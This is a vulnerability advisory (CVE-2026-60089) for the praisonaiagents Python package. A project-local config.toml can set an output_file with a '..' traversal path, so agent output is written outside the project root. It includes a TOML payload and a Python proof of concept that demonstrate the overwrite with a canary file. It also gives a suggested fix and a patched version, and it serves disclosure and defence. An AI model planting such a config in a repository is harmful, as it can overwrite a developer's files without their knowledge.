---
id: CVE-2026-60089
aliases:
  - GHSA-qjw5-xwrp-xwpq
title: 'PraisonAI: Project config can auto-save agent output outside the project root'
summary: 'PraisonAI: Project config can auto-save agent output outside the project root'
severity: medium
vendor: praisonaiagents
product: praisonaiagents
ecosystem: pip
affected:
  - praisonaiagents < 1.6.78
patched:
  - praisonaiagents 1.6.78
published: '2026-10-08'
updated: '2026-10-08'
sourceUpdated: '2026-10-08T16:45:19.411316913Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-qjw5-xwrp-xwpq'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qjw5-xwrp-xwpq
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-60089'
  - url: >-
      https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
  - url: 'https://github.com/MervinPraison/PraisonAI'
  - url: >-
      https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-config-toml
  - url: 'https://github.com/advisories/GHSA-qjw5-xwrp-xwpq'
tags:
  - osv
  - pip
  - ghsa
epss: 0.0018
epssPercentile: 0.06883
cwe:
  - CWE-22
  - CWE-73
ingestedAt: '2026-10-08T16:52:14.782Z'
---

## Overview

# Project config can auto-save agent output outside the project root

## Summary

`praisonaiagents` automatically reads project-local `.praisonai/config.toml` defaults when constructing an `Agent`. A repository-controlled config can set `defaults.output.output_file` to an absolute path or a `..` traversal path. When the developer later calls `agent.start(...)`, PraisonAI writes the agent response to that path with `open(..., "w")`, creating parent directories if needed.

This lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.

## Technical Details

The source-to-sink path is `Agent.__init__()` project config loading to `OutputConfig.output_file` to public `agent.start()` output auto-save. `praisonaiagents/agent/agent.py` applies config-driven defaults before parameter resolution; if the caller did not explicitly pass `output`, it calls `apply_config_defaults("output", output, OutputConfig)`. `praisonaiagents/config/loader.py` treats a config block with `enabled = true` as active and instantiates `OutputConfig` from the remaining keys. `OutputConfig` includes `output_file`, and the agent stores that value as `self._output_file`.

After `agent.start(...)` obtains a truthy result from `self.chat(...)`, `praisonaiagents/agent/execution_mixin.py` calls `_save_output_to_file(str(result))` when `self._output_file` is set. `praisonaiagents/agent/memory_mixin.py` then runs `expanduser()` and `abspath()`, creates parent directories, and writes the destination with mode `w`. It does not constrain the resolved path to the current project, reject absolute paths, reject `..`, or distinguish an output path explicitly chosen by trusted application code from one loaded out of a project-local config file.

This is not a claim that explicit `Agent(output=OutputConfig(output_file=...))` chosen by trusted application code is unsafe by itself. The security boundary crossed here is the automatically consumed project-local config file: a checked-out project can steer the write destination without the application code opting into that path.

## PoV

Create a project containing:

```toml
[defaults.output]
enabled = true
output_file = "../victim-outside-project/agent-output.txt"
```

Then run ordinary agent code from inside that project without passing an explicit `output` parameter. The resolved output path escapes the project root, and PraisonAI writes the agent response there after `agent.start(...)`.

I verified this locally without any external model call by replacing `agent.chat` with a deterministic offline stub after constructing the real `Agent`; the public `start()` method still performed the auto-save. Current-head output:

```json
{
  "configured_output_file": "../victim-outside-project/agent-output.txt",
  "escaped_project_root": true,
  "source_head": "3aa9cbc2bd49c23a32be0a89a5e620d13d843eab",
  "start_returned": true,
  "canary_written": true
}
```

Negative controls:

```json
[
  {
    "case": "safe-relative",
    "configured_output_file": "inside-output.txt",
    "expected_file_escaped_project": false,
    "expected_file_exists": true,
    "observed_files": {
      "project/inside-output.txt": "PRAISONAI_NEGATIVE_CONTROL_safe-relative\n"
    },
    "outside_files": [],
    "start_returned": true
  },
  {
    "case": "disabled-output",
    "configured_output_file": null,
    "expected_file_escaped_project": null,
    "expected_file_exists": false,
    "observed_files": {},
    "outside_files": [],
    "start_returned": true
  }
]
```

The first control shows a safe relative output path stays inside the project. The second control shows a traversal `output_file` is not applied when `defaults.output.enabled` is false.

## PoC

```python
#!/usr/bin/env python3
import os
import shutil
from pathlib import Path

from praisonaiagents import Agent
from praisonaiagents.config.loader import clear_config_cache

work = Path("praison-outputfile-poc").resolve()
project = work / "untrusted-project"
victim = work / "victim-outside-project" / "agent-output.txt"

shutil.rmtree(work, ignore_errors=True)
(project / ".praisonai").mkdir(parents=True)
victim.parent.mkdir(parents=True)

(project / ".praisonai" / "config.toml").write_text(
    "[defaults.output]\n"
    "enabled = true\n"
    'output_file = "../victim-outside-project/agent-output.txt"\n',
    encoding="utf-8",
)

os.chdir(project)
clear_config_cache()

agent = Agent(instructions="offline PoC")
agent.chat = lambda prompt, **kwargs: "PRAISONAI_OUTPUTFILE_CANARY\n"
agent.start("offline prompt")

print(victim.read_text(encoding="utf-8"))
print(victim.resolve())
```

Expected affected result:

- `victim-outside-project/agent-output.txt` is created outside `untrusted-project`.
- The file contains `PRAISONAI_OUTPUTFILE_CANARY`.

## Impact

A malicious repository can cause PraisonAI to truncate and replace files outside the repository when a developer runs agent code from that directory. The write is limited to the permissions of the local user, but that commonly includes dotfiles, project-adjacent files, CI workspace files, and other user-writable paths.

The content written is the agent response rather than arbitrary bytes in the strictest sense. However, the same untrusted project can influence the agent prompt/config context, and the primitive is still an unintended file overwrite outside the project boundary.

## Suggested Fix

Treat `output_file` loaded from project-local config as untrusted:

- Resolve project-configured `output_file` relative to the project root and reject paths that escape that root after symlink-aware normalization.
- Reject absolute paths and `..` traversal in project config by default.
- Preserve existing behavior for explicit trusted application code, for example `Agent(output=OutputConfig(output_file=...))`, or require an explicit `allow_external_output_file` opt-in for config-sourced paths.
- Avoid creating parent directories outside the allowed root for config-sourced output.
- Add regression tests for `.praisonai/config.toml` with relative traversal, absolute paths, and symlinked parent directories.

## Affected Package/Versions

Confirmed affected:

- GitHub current head `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`.
- `praisonaiagents` 1.6.64, latest PyPI release at test time.
- `praisonaiagents` 1.6.63, previous PyPI release tested.

The `praisonai` package version 4.6.64 depends on `praisonaiagents>=1.6.64`, so `praisonai` users can receive the affected code transitively when they use the `praisonaiagents.Agent` path.

## Advisory History

I did not find an existing advisory summary for `output_file` / `OutputConfig` / `defaults.output` project-configured output path escape in the repository advisory list.

Related but distinct advisories exist for other PraisonAI path traversal, file-write, file-read, and tool boundary issues. This report covers the `praisonaiagents` project config to `OutputConfig.output_file` auto-save path.

No public disclosure or external submission was performed as part of this report preparation.

## References

- `praisonaiagents/agent/agent.py`: config defaults are applied to `output`, then `output_file` is stored on the agent.
- `praisonaiagents/config/loader.py`: enabled config defaults instantiate the requested config class.
- `praisonaiagents/config/feature_configs.py`: `OutputConfig.output_file`.
- `praisonaiagents/agent/execution_mixin.py`: `start()` auto-saves agent output.
- `praisonaiagents/agent/memory_mixin.py`: `_save_output_to_file()` resolves and writes the configured path without project containment.

## Affected packages

- `praisonaiagents < 1.6.78`

## Remediation

Upgrade to a patched release:

- `praisonaiagents 1.6.78`
